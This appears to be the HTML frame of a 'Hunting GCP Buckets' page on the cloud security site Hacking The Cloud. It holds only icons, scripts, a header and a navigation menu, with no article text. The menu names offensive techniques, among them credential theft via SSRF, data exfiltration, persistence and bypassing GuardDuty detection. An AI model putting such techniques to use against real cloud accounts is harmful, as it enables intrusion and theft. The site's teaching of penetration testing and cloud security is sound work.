6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#hunting-gcp-buckets class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Hunting GCP Buckets </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> 